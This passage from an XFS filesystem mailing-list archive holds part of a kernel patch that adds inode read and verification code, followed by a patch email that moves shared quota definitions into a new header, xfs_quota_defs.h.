&xfs_inode_buf_ops); + if (error) { + if (error == EAGAIN) { + ASSERT(buf_flags & XBF_TRYLOCK); + return error; + } + + if (error == EFSCORRUPTED && + (iget_flags & XFS_IGET_UNTRUSTED)) + return XFS_ERROR(EINVAL); + + xfs_warn(mp, "%s: xfs_trans_read_buf() returned error %d.", + __func__, error); + return error; + } + + *bpp = bp; + *dipp = (struct xfs_dinode *)xfs_buf_offset(bp, imap->im_boffset); + return 0; +} + +void +xfs_dinode_from_disk( + xfs_icdinode_t *to, + xfs_dinode_t *from) +{ + to->di_magic = be16_to_cpu(from->di_magic); + to->di_mode = be16_to_cpu(from->di_mode); + to->di_version = from ->di_version; + to->di_format = from->di_format; + to->di_onlink = be16_to_cpu(from->di_onlink); + to->di_uid = be32_to_cpu(from->di_uid); + to->di_gid = be32_to_cpu(from->di_gid); + to->di_nlink = be32_to_cpu(from->di_nlink); + to->di_projid_lo = be16_to_cpu(from->di_projid_lo); + to->di_projid_hi = be16_to_cpu(from->di_projid_hi); + memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); + to->di_flushiter = be16_to_cpu(from->di_flushiter); + to->di_atime.t_sec = be32_to_cpu(from->di_atime.t_sec); + to->di_atime.t_nsec = be32_to_cpu(from->di_atime.t_nsec); + to->di_mtime.t_sec = be32_to_cpu(from->di_mtime.t_sec); + to->di_mtime.t_nsec = be32_to_cpu(from->di_mtime.t_nsec); + to->di_ctime.t_sec = be32_to_cpu(from->di_ctime.t_sec); + to->di_ctime.t_nsec = be32_to_cpu(from->di_ctime.t_nsec); + to->di_size = be64_to_cpu(from->di_size); + to->di_nblocks = be64_to_cpu(from->di_nblocks); + to->di_extsize = be32_to_cpu(from->di_extsize); + to->di_nextents = be32_to_cpu(from->di_nextents); + to->di_anextents = be16_to_cpu(from->di_anextents); + to->di_forkoff = from->di_forkoff; + to->di_aformat = from->di_aformat; + to->di_dmevmask = be32_to_cpu(from->di_dmevmask); + to->di_dmstate = be16_to_cpu(from->di_dmstate); + to->di_flags = be16_to_cpu(from->di_flags); + to->di_gen = be32_to_cpu(from->di_gen); + + if (to->di_version == 3) { + to->di_changecount = be64_to_cpu(from->di_changecount); + to->di_crtime.t_sec = be32_to_cpu(from->di_crtime.t_sec); + to->di_crtime.t_nsec = be32_to_cpu(from->di_crtime.t_nsec); + to->di_flags2 = be64_to_cpu(from->di_flags2); + to->di_ino = be64_to_cpu(from->di_ino); + to->di_lsn = be64_to_cpu(from->di_lsn); + memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); + platform_uuid_copy(&to->di_uuid, &from->di_uuid); + } +} + +void +xfs_dinode_to_disk( + xfs_dinode_t *to, + xfs_icdinode_t *from) +{ + to->di_magic = cpu_to_be16(from->di_magic); + to->di_mode = cpu_to_be16(from->di_mode); + to->di_version = from ->di_version; + to->di_format = from->di_format; + to->di_onlink = cpu_to_be16(from->di_onlink); + to->di_uid = cpu_to_be32(from->di_uid); + to->di_gid = cpu_to_be32(from->di_gid); + to->di_nlink = cpu_to_be32(from->di_nlink); + to->di_projid_lo = cpu_to_be16(from->di_projid_lo); + to->di_projid_hi = cpu_to_be16(from->di_projid_hi); + memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); + to->di_flushiter = cpu_to_be16(from->di_flushiter); + to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); + to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); + to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); + to->di_mtime.t_nsec = cpu_to_be32(from->di_mtime.t_nsec); + to->di_ctime.t_sec = cpu_to_be32(from->di_ctime.t_sec); + to->di_ctime.t_nsec = cpu_to_be32(from->di_ctime.t_nsec); + to->di_size = cpu_to_be64(from->di_size); + to->di_nblocks = cpu_to_be64(from->di_nblocks); + to->di_extsize = cpu_to_be32(from->di_extsize); + to->di_nextents = cpu_to_be32(from->di_nextents); + to->di_anextents = cpu_to_be16(from->di_anextents); + to->di_forkoff = from->di_forkoff; + to->di_aformat = from->di_aformat; + to->di_dmevmask = cpu_to_be32(from->di_dmevmask); + to->di_dmstate = cpu_to_be16(from->di_dmstate); + to->di_flags = cpu_to_be16(from->di_flags); + to->di_gen = cpu_to_be32(from->di_gen); + + if (from->di_version == 3) { + to->di_changecount = cpu_to_be64(from->di_changecount); + to->di_crtime.t_sec = cpu_to_be32(from->di_crtime.t_sec); + to->di_crtime.t_nsec = cpu_to_be32(from->di_crtime.t_nsec); + to->di_flags2 = cpu_to_be64(from->di_flags2); + to->di_ino = cpu_to_be64(from->di_ino); + to->di_lsn = cpu_to_be64(from->di_lsn); + memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); + platform_uuid_copy(&to->di_uuid, &from->di_uuid); + } +} + +static bool +xfs_dinode_verify( + struct xfs_mount *mp, + struct xfs_inode *ip, + struct xfs_dinode *dip) +{ + if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) + return false; + + /* only version 3 or greater inodes are extensively verified here */ + if (dip->di_version < 3) + return true; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return false; + if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, + offsetof(struct xfs_dinode, di_crc))) + return false; + if (be64_to_cpu(dip->di_ino) != ip->i_ino) + return false; + if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) + return false; + return true; +} +void +xfs_dinode_calc_crc( + struct xfs_mount *mp, + struct xfs_dinode *dip) +{ + __uint32_t crc; + + if (dip->di_version < 3) + return; + + ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); + crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, + offsetof(struct xfs_dinode, di_crc)); + dip->di_crc = xfs_end_cksum(crc); +} + +/* + * Read the disk inode attributes into the in-core inode structure. + */ +int +xfs_iread( + xfs_mount_t *mp, + xfs_trans_t *tp, + xfs_inode_t *ip, + uint iget_flags) +{ + xfs_buf_t *bp; + xfs_dinode_t *dip; + int error; + + /* + * Fill in the location information in the in-core inode. + */ + error = xfs_imap(mp, tp, ip->i_ino, &ip->i_imap, iget_flags); + if (error) + return error; + + /* + * Get pointers to the on-disk inode and the buffer containing it. + */ + error = xfs_imap_to_bp(mp, tp, &ip->i_imap, &dip, &bp, 0, iget_flags); + if (error) + return error; + + /* even unallocated inodes are verified */ + if (!xfs_dinode_verify(mp, ip, dip)) { + xfs_alert(mp, "%s: validation failed for inode %lld failed", + __func__, ip->i_ino); + + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, dip); + error = XFS_ERROR(EFSCORRUPTED); + goto out_brelse; + } + + /* + * If the on-disk inode is already linked to a directory + * entry, copy all of the inode into the in-core inode. + * xfs_iformat_fork() handles copying in the inode format + * specific information. + * Otherwise, just get the truly permanent information. + */ + if (dip->di_mode) { + xfs_dinode_from_disk(&ip->i_d, dip); + error = xfs_iformat_fork(ip, dip); + if (error) { +#ifdef DEBUG + xfs_alert(mp, "%s: xfs_iformat() returned error %d", + __func__, error); +#endif /* DEBUG */ + goto out_brelse; + } + } else { + /* + * Partial initialisation of the in-core inode. Just the bits + * that xfs_ialloc won't overwrite or relies on being correct. + */ + ip->i_d.di_magic = be16_to_cpu(dip->di_magic); + ip->i_d.di_version = dip->di_version; + ip->i_d.di_gen = be32_to_cpu(dip->di_gen); + ip->i_d.di_flushiter = be16_to_cpu(dip->di_flushiter); + + if (dip->di_version == 3) { + ip->i_d.di_ino = be64_to_cpu(dip->di_ino); + uuid_copy(&ip->i_d.di_uuid, &dip->di_uuid); + } + + /* + * Make sure to pull in the mode here as well in + * case the inode is released without being used. + * This ensures that xfs_inactive() will see that + * the inode is already free and not try to mess + * with the uninitialized part of it. + */ + ip->i_d.di_mode = 0; + } + + /* + * The inode format changed when we moved the link count and + * made it 32 bits long. If this is an old format inode, + * convert it in memory to look like a new one. If it gets + * flushed to disk we will convert back before flushing or + * logging it. We zero out the new projid field and the old link + * count field. We'll handle clearing the pad field (the remains + * of the old uuid field) when we actually convert the inode to + * the new format. We don't change the version number so that we + * can distinguish this from a real new format inode. + */ + if (ip->i_d.di_version == 1) { + ip->i_d.di_nlink = ip->i_d.di_onlink; + ip->i_d.di_onlink = 0; + xfs_set_projid(&ip->i_d, 0); + } + + ip->i_delayed_blks = 0; + + /* + * Mark the buffer containing the inode as something to keep + * around for a while. This helps to keep recently accessed + * meta-data in-core longer. + */ + xfs_buf_set_ref(bp, XFS_INO_REF); + + /* + * Use xfs_trans_brelse() to release the buffer containing the on-disk + * inode, because it was acquired with xfs_trans_read_buf() in + * xfs_imap_to_bp() above. If tp is NULL, this is just a normal + * brelse(). If we're within a transaction, then xfs_trans_brelse() + * will only release the buffer if it is not dirty within the + * transaction. It will be OK to release the buffer in this case, + * because inodes on disk are never destroyed and we will be locking the + * new in-core inode before putting it in the cache where other + * processes can find it. Thus we don't have to worry about the inode + * being changed just because we released the buffer. + */ + out_brelse: + xfs_trans_brelse(tp, bp); + return error; +} -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 62CF18063 for ; Fri, 19 Jul 2013 01:45:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 53DDC30404E for ; Thu, 18 Jul 2013 23:45:49 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed6690009-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id tVggaycf6kNif5FE for ; Thu, 18 Jul 2013 23:45:46 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABSCIMGwUYEgRUXdIIkAQEFJy8zCBgYGTkDGxmID7YjjlkGE4Eug3IDoX+HK4MkKoEt Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:40 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Iq-1W for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Ky-0G for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 24/49] xfs: introduce xfs_quota_defs.h Date: Fri, 19 Jul 2013 16:44:59 +1000 X-ASG-Orig-Subj: [PATCH 24/49] xfs: introduce xfs_quota_defs.h Message-Id: <1374216324-8781-25-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216346 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There are a lot of quota flag definitions that are shared by user and kernel space. Move them all to xfs_quota_defs.h so we can unshare xfs_quota.h and remove the __KERNEL__ regions from it. Signed-off-by: Dave Chinner --- include/Makefile | 2 +- include/libxfs.h | 2 +- include/xfs_quota.h | 279 ----------------------------------------------- include/xfs_quota_defs.h | 157 ++++++++++++++++++++++++++ 4 files changed, 159 insertions(+), 281 deletions(-) delete mode 100644 include/xfs_quota.h create mode 100644 include/xfs_quota_defs.h diff --git a/include/Makefile b/include/Makefile index 3610726..11f13dd 100644 --- a/include/Makefile +++ b/include/Makefile @@ -36,7 +36,7 @@ QAHFILES = libxfs.h libxlog.h \ xfs_log_recover.h \ xfs_metadump.h \ xfs_mount.h \ - xfs_quota.h \ + xfs_quota_defs.h \ xfs_sb.h \ xfs_symlink.h \ xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h diff --git a/include/libxfs.h b/include/libxfs.h index 8c09b77..81495c3 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -39,6 +39,7 @@ #include #include +#include #include #include @@ -617,7 +618,6 @@ extern unsigned long libxfs_physmem(void); /* in kilobytes */ #include #include -#include #include #define XFS_INOBT_IS_FREE_DISK(rp,i) \ diff --git a/include/xfs_quota.h b/include/xfs_quota.h deleted file mode 100644 index 18dadf6..0000000 --- a/include/xfs_quota.h +++ /dev/null @@ -1,279 +0,0 @@ -/* - * Copyright (c) 2000-2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_QUOTA_H__ -#define __XFS_QUOTA_H__ - -struct xfs_trans; - -/* - * Even though users may not have quota limits occupying all 64-bits, - * they may need 64-bit accounting. Hence, 64-bit quota-counters, - * and quota-limits. This is a waste in the common case, but hey ... - */ -typedef __uint64_t xfs_qcnt_t; -typedef __uint16_t xfs_qwarncnt_t; - -/* - * flags for q_flags field in the dquot. - */ -#define XFS_DQ_USER 0x0001 /* a user quota */ -#define XFS_DQ_PROJ 0x0002 /* project quota */ -#define XFS_DQ_GROUP 0x0004 /* a group quota */ -#define XFS_DQ_DIRTY 0x0008 /* dquot is dirty */ -#define XFS_DQ_FREEING 0x0010 /* dquot is beeing torn down */ - -#define XFS_DQ_ALLTYPES (XFS_DQ_USER|XFS_DQ_PROJ|XFS_DQ_GROUP) - -#define XFS_DQ_FLAGS \ - { XFS_DQ_USER, "USER" }, \ - { XFS_DQ_PROJ, "PROJ" }, \ - { XFS_DQ_GROUP, "GROUP" }, \ - { XFS_DQ_DIRTY, "DIRTY" }, \ - { XFS_DQ_FREEING, "FREEING" } - -/* - * In the worst case, when both user and group quotas are on, - * we can have a max of three dquots changing in a single transaction. - */ -#define XFS_DQUOT_LOGRES(mp) (sizeof(xfs_disk_dquot_t) * 3) - -#define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) -#define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) -#define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) -#define XFS_IS_GQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_GQUOTA_ACCT) -#define XFS_IS_UQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_UQUOTA_ENFD) -#define XFS_IS_OQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_OQUOTA_ENFD) - -/* - * Incore only flags for quotaoff - these bits get cleared when quota(s) - * are in the process of getting turned off. These flags are in m_qflags but - * never in sb_qflags. - */ -#define XFS_UQUOTA_ACTIVE 0x0100 /* uquotas are being turned off */ -#define XFS_PQUOTA_ACTIVE 0x0200 /* pquotas are being turned off */ -#define XFS_GQUOTA_ACTIVE 0x0400 /* gquotas are being turned off */ -#define XFS_ALL_QUOTA_ACTIVE \ - (XFS_UQUOTA_ACTIVE | XFS_PQUOTA_ACTIVE | XFS_GQUOTA_ACTIVE) - -/* - * Checking XFS_IS_*QUOTA_ON() while holding any inode lock guarantees - * quota will be not be switched off as long as that inode lock is held. - */ -#define XFS_IS_QUOTA_ON(mp) ((mp)->m_qflags & (XFS_UQUOTA_ACTIVE | \ - XFS_GQUOTA_ACTIVE | \ - XFS_PQUOTA_ACTIVE)) -#define XFS_IS_OQUOTA_ON(mp) ((mp)->m_qflags & (XFS_GQUOTA_ACTIVE | \ - XFS_PQUOTA_ACTIVE)) -#define XFS_IS_UQUOTA_ON(mp) ((mp)->m_qflags & XFS_UQUOTA_ACTIVE) -#define XFS_IS_GQUOTA_ON(mp) ((mp)->m_qflags & XFS_GQUOTA_ACTIVE) -#define XFS_IS_PQUOTA_ON(mp) ((mp)->m_qflags & XFS_PQUOTA_ACTIVE) - -/* - * Flags to tell various functions what to do. Not all of these are meaningful - * to a single function. None of these XFS_QMOPT_* flags are meant to have - * persistent values (ie. their values can and will change between versions) - */ -#define XFS_QMOPT_DQALLOC 0x0000002 /* alloc dquot ondisk if needed */ -#define XFS_QMOPT_UQUOTA 0x0000004 /* user dquot requested */ -#define XFS_QMOPT_PQUOTA 0x0000008 /* project dquot requested */ -#define XFS_QMOPT_FORCE_RES 0x0000010 /* ignore quota limits */ -#define XFS_QMOPT_SBVERSION 0x0000040 /* change superblock version num */ -#define XFS_QMOPT_DOWARN 0x0000400 /* increase warning cnt if needed */ -#define XFS_QMOPT_DQREPAIR 0x0001000 /* repair dquot if damaged */ -#define XFS_QMOPT_GQUOTA 0x0002000 /* group dquot requested */ -#define XFS_QMOPT_ENOSPC 0x0004000 /* enospc instead of edquot (prj) */ - -/* - * flags to xfs_trans_mod_dquot to indicate which field needs to be - * modified. - */ -#define XFS_QMOPT_RES_REGBLKS 0x0010000 -#define XFS_QMOPT_RES_RTBLKS 0x0020000 -#define XFS_QMOPT_BCOUNT 0x0040000 -#define XFS_QMOPT_ICOUNT 0x0080000 -#define XFS_QMOPT_RTBCOUNT 0x0100000 -#define XFS_QMOPT_DELBCOUNT 0x0200000 -#define XFS_QMOPT_DELRTBCOUNT 0x0400000 -#define XFS_QMOPT_RES_INOS 0x0800000 - -/* - * flags for dqalloc. - */ -#define XFS_QMOPT_INHERIT 0x1000000 - -/* - * flags to xfs_trans_mod_dquot. - */ -#define XFS_TRANS_DQ_RES_BLKS XFS_QMOPT_RES_REGBLKS -#define XFS_TRANS_DQ_RES_RTBLKS XFS_QMOPT_RES_RTBLKS -#define XFS_TRANS_DQ_RES_INOS XFS_QMOPT_RES_INOS -#define XFS_TRANS_DQ_BCOUNT XFS_QMOPT_BCOUNT -#define XFS_TRANS_DQ_DELBCOUNT XFS_QMOPT_DELBCOUNT -#define XFS_TRANS_DQ_ICOUNT XFS_QMOPT_ICOUNT -#define XFS_TRANS_DQ_RTBCOUNT XFS_QMOPT_RTBCOUNT -#define XFS_TRANS_DQ_DELRTBCOUNT XFS_QMOPT_DELRTBCOUNT - - -#define XFS_QMOPT_QUOTALL \ - (XFS_QMOPT_UQUOTA | XFS_QMOPT_PQUOTA | XFS_QMOPT_GQUOTA) -#define XFS_QMOPT_RESBLK_MASK (XFS_QMOPT_RES_REGBLKS | XFS_QMOPT_RES_RTBLKS) - -#ifdef __KERNEL__ -/* - * This check is done typically without holding the inode lock; - * that may seem racy, but it is harmless in the context that it is used. - * The inode cannot go inactive as long a reference is kept, and - * therefore if dquot(s) were attached, they'll stay consistent. - * If, for example, the ownership of the inode changes while - * we didn't have the inode locked, the appropriate dquot(s) will be - * attached atomically. - */ -#define XFS_NOT_DQATTACHED(mp, ip) ((XFS_IS_UQUOTA_ON(mp) &&\ - (ip)->i_udquot == NULL) || \ - (XFS_IS_OQUOTA_ON(mp) && \ - (ip)->i_gdquot == NULL)) - -#define XFS_QM_NEED_QUOTACHECK(mp) \ - ((XFS_IS_UQUOTA_ON(mp) && \ - (mp->m_sb.sb_qflags & XFS_UQUOTA_CHKD) == 0) || \ - (XFS_IS_GQUOTA_ON(mp) && \ - ((mp->m_sb.sb_qflags & XFS_OQUOTA_CHKD) == 0 || \ - (mp->m_sb.sb_qflags & XFS_PQUOTA_ACCT))) || \ - (XFS_IS_PQUOTA_ON(mp) && \ - ((mp->m_sb.sb_qflags & XFS_OQUOTA_CHKD) == 0 || \ - (mp->m_sb.sb_qflags & XFS_GQUOTA_ACCT)))) - -#define XFS_MOUNT_QUOTA_SET1 (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ - XFS_UQUOTA_CHKD|XFS_PQUOTA_ACCT|\ - XFS_OQUOTA_ENFD|XFS_OQUOTA_CHKD) - -#define XFS_MOUNT_QUOTA_SET2 (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ - XFS_UQUOTA_CHKD|XFS_GQUOTA_ACCT|\ - XFS_OQUOTA_ENFD|XFS_OQUOTA_CHKD) - -#define XFS_MOUNT_QUOTA_ALL (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ - XFS_UQUOTA_CHKD|XFS_PQUOTA_ACCT|\ - XFS_OQUOTA_ENFD|XFS_OQUOTA_CHKD|\ - XFS_GQUOTA_ACCT) - - -/* - * The structure kept inside the xfs_trans_t keep track of dquot changes - * within a transaction and apply them later. - */ -typedef struct xfs_dqtrx { - struct xfs_dquot *qt_dquot; /* the dquot this refers to */ - ulong qt_blk_res; /* blks reserved on a dquot */ - ulong qt_blk_res_used; /* blks used from the reservation */ - ulong qt_ino_res; /* inode reserved on a dquot */ - ulong qt_ino_res_used; /* inodes used from the reservation */ - long qt_bcount_delta; /* dquot blk count changes */ - long qt_delbcnt_delta; /* delayed dquot blk count changes */ - long qt_icount_delta; /* dquot inode count changes */ - ulong qt_rtblk_res; /* # blks reserved on a dquot */ - ulong qt_rtblk_res_used;/* # blks used from reservation */ - long qt_rtbcount_delta;/* dquot realtime blk changes */ - long qt_delrtb_delta; /* delayed RT blk count changes */ -} xfs_dqtrx_t; - -#ifdef CONFIG_XFS_QUOTA -extern void xfs_trans_dup_dqinfo(struct xfs_trans *, struct xfs_trans *); -extern void xfs_trans_free_dqinfo(struct xfs_trans *); -extern void xfs_trans_mod_dquot_byino(struct xfs_trans *, struct xfs_inode *, - uint, long); -extern void xfs_trans_apply_dquot_deltas(struct xfs_trans *); -extern void xfs_trans_unreserve_and_mod_dquots(struct xfs_trans *); -extern int xfs_trans_reserve_quota_nblks(struct xfs_trans *, - struct xfs_inode *, long, long, uint); -extern int xfs_trans_reserve_quota_bydquots(struct xfs_trans *, - struct xfs_mount *, struct xfs_dquot *, - struct xfs_dquot *, long, long, uint); - -extern int xfs_qm_vop_dqalloc(struct xfs_inode *, uid_t, gid_t, prid_t, uint, - struct xfs_dquot **, struct xfs_dquot **); -extern void xfs_qm_vop_create_dqattach(struct xfs_trans *, struct xfs_inode *, - struct xfs_dquot *, struct xfs_dquot *); -extern int xfs_qm_vop_rename_dqattach(struct xfs_inode **); -extern struct xfs_dquot *xfs_qm_vop_chown(struct xfs_trans *, - struct xfs_inode *, struct xfs_dquot **, struct xfs_dquot *); -extern int xfs_qm_vop_chown_reserve(struct xfs_trans *, struct xfs_inode *, - struct xfs_dquot *, struct xfs_dquot *, uint); -extern int xfs_qm_dqattach(struct xfs_inode *, uint); -extern int xfs_qm_dqattach_locked(struct xfs_inode *, uint); -extern void xfs_qm_dqdetach(struct xfs_inode *); -extern void xfs_qm_dqrele(struct xfs_dquot *); -extern void xfs_qm_statvfs(struct xfs_inode *, struct kstatfs *); -extern int xfs_qm_newmount(struct xfs_mount *, uint *, uint *); -extern void xfs_qm_mount_quotas(struct xfs_mount *); -extern void xfs_qm_unmount(struct xfs_mount *); -extern void xfs_qm_unmount_quotas(struct xfs_mount *); - -#else -static inline int -xfs_qm_vop_dqalloc(struct xfs_inode *ip, uid_t uid, gid_t gid, prid_t prid, - uint flags, struct xfs_dquot **udqp, struct xfs_dquot **gdqp) -{ - *udqp = NULL; - *gdqp = NULL; - return 0; -} -#define xfs_trans_dup_dqinfo(tp, tp2) -#define xfs_trans_free_dqinfo(tp) -#define xfs_trans_mod_dquot_byino(tp, ip, fields, delta) -#define xfs_trans_apply_dquot_deltas(tp) -#define xfs_trans_unreserve_and_mod_dquots(tp) -static inline int xfs_trans_reserve_quota_nblks(struct xfs_trans *tp, - struct xfs_inode *ip, long nblks, long ninos, uint flags) -{ - return 0; -} -static inline int xfs_trans_reserve_quota_bydquots(struct xfs_trans *tp, - struct xfs_mount *mp, struct xfs_dquot *udqp, - struct xfs_dquot *gdqp, long nblks, long nions, uint flags) -{ - return 0; -} -#define xfs_qm_vop_create_dqattach(tp, ip, u, g) -#define xfs_qm_vop_rename_dqattach(it) (0) -#define xfs_qm_vop_chown(tp, ip, old, new) (NULL) -#define xfs_qm_vop_chown_reserve(tp, ip, u, g, fl) (0) -#define xfs_qm_dqattach(ip, fl) (0) -#define xfs_qm_dqattach_locked(ip, fl) (0) -#define xfs_qm_dqdetach(ip) -#define xfs_qm_dqrele(d) -#define xfs_qm_statvfs(ip, s) -#define xfs_qm_newmount(mp, a, b) (0) -#define xfs_qm_mount_quotas(mp) -#define xfs_qm_unmount(mp) -#define xfs_qm_unmount_quotas(mp) -#endif /* CONFIG_XFS_QUOTA */ - -#define xfs_trans_unreserve_quota_nblks(tp, ip, nblks, ninos, flags) \ - xfs_trans_reserve_quota_nblks(tp, ip, -(nblks), -(ninos), flags) -#define xfs_trans_reserve_quota(tp, mp, ud, gd, nb, ni, f) \ - xfs_trans_reserve_quota_bydquots(tp, mp, ud, gd, nb, ni, \ - f | XFS_QMOPT_RES_REGBLKS) - -extern int xfs_qm_dqcheck(struct xfs_mount *, xfs_disk_dquot_t *, - xfs_dqid_t, uint, uint, char *); -extern int xfs_mount_reset_sbqflags(struct xfs_mount *); - -extern const struct xfs_buf_ops xfs_dquot_buf_ops; - -#endif /* __KERNEL__ */ -#endif /* __XFS_QUOTA_H__ */ diff --git a/include/xfs_quota_defs.h b/include/xfs_quota_defs.h new file mode 100644 index 0000000..e6b0d6e --- /dev/null +++ b/include/xfs_quota_defs.h @@ -0,0 +1,157 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_QUOTA_DEFS_H__ +#define __XFS_QUOTA_DEFS_H__ + +/* + * Quota definitions shared between user and kernel source trees. + */ + +/* + * Even though users may not have quota limits occupying all 64-bits, + * they may need 64-bit accounting. Hence, 64-bit quota-counters, + * and quota-limits. This is a waste in the common case, but hey ... + */ +typedef __uint64_t xfs_qcnt_t; +typedef __uint16_t xfs_qwarncnt_t; + +/* + * flags for q_flags field in the dquot. + */ +#define XFS_DQ_USER 0x0001 /* a user quota */ +#define XFS_DQ_PROJ 0x0002 /* project quota */ +#define XFS_DQ_GROUP 0x0004 /* a group quota */ +#define XFS_DQ_DIRTY 0x0008 /* dquot is dirty */ +#define XFS_DQ_FREEING 0x0010 /* dquot is beeing torn down */ + +#define XFS_DQ_ALLTYPES (XFS_DQ_USER|XFS_DQ_PROJ|XFS_DQ_GROUP) + +#define XFS_DQ_FLAGS \ + { XFS_DQ_USER, "USER" }, \ + { XFS_DQ_PROJ, "PROJ" }, \ + { XFS_DQ_GROUP, "GROUP" }, \ + { XFS_DQ_DIRTY, "DIRTY" }, \ + { XFS_DQ_FREEING, "FREEING" } + +/* + * We have the possibility of all three quota types being active at once, and + * hence free space modification requires modification of all three current + * dquots in a single transaction. For this case we need to have a reservation + * of at least 3 dquots. + * + * However, a chmod operation can change both UID and GID in a single + * transaction, resulting in requiring {old, new} x {uid, gid} dquots to be + * modified. Hence for this case we need to reserve space for at least 4 dquots. + * + * And in the worst case, there's a rename operation that can be modifying up to + * 4 inodes with dquots attached to them. In reality, the only inodes that can + * have their dquots modified are the source and destination directory inodes + * due to directory name creation and removal. That can require space allocation + * and/or freeing on both directory inodes, and hence all three dquots on each + * inode can be modified. And if the directories are world writeable, all the + * dquots can be unique and so 6 dquots can be modified.... + * + * And, of course, we also need to take into account the dquot log format item + * used to describe each dquot. + */ +#define XFS_DQUOT_LOGRES(mp) \ + ((sizeof(struct xfs_dq_logformat) + sizeof(struct xfs_disk_dquot)) * 6) + +#define XFS_IS_QUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_ALL_QUOTA_ACCT) +#define XFS_IS_UQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_UQUOTA_ACCT) +#define XFS_IS_PQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_PQUOTA_ACCT) +#define XFS_IS_GQUOTA_RUNNING(mp) ((mp)->m_qflags & XFS_GQUOTA_ACCT) +#define XFS_IS_UQUOTA_ENFORCED(mp) ((mp)->m_qflags & XFS_UQUOTA_ENFD) +#define XFS_IS_GQUOTA_ENFORCED(mp) 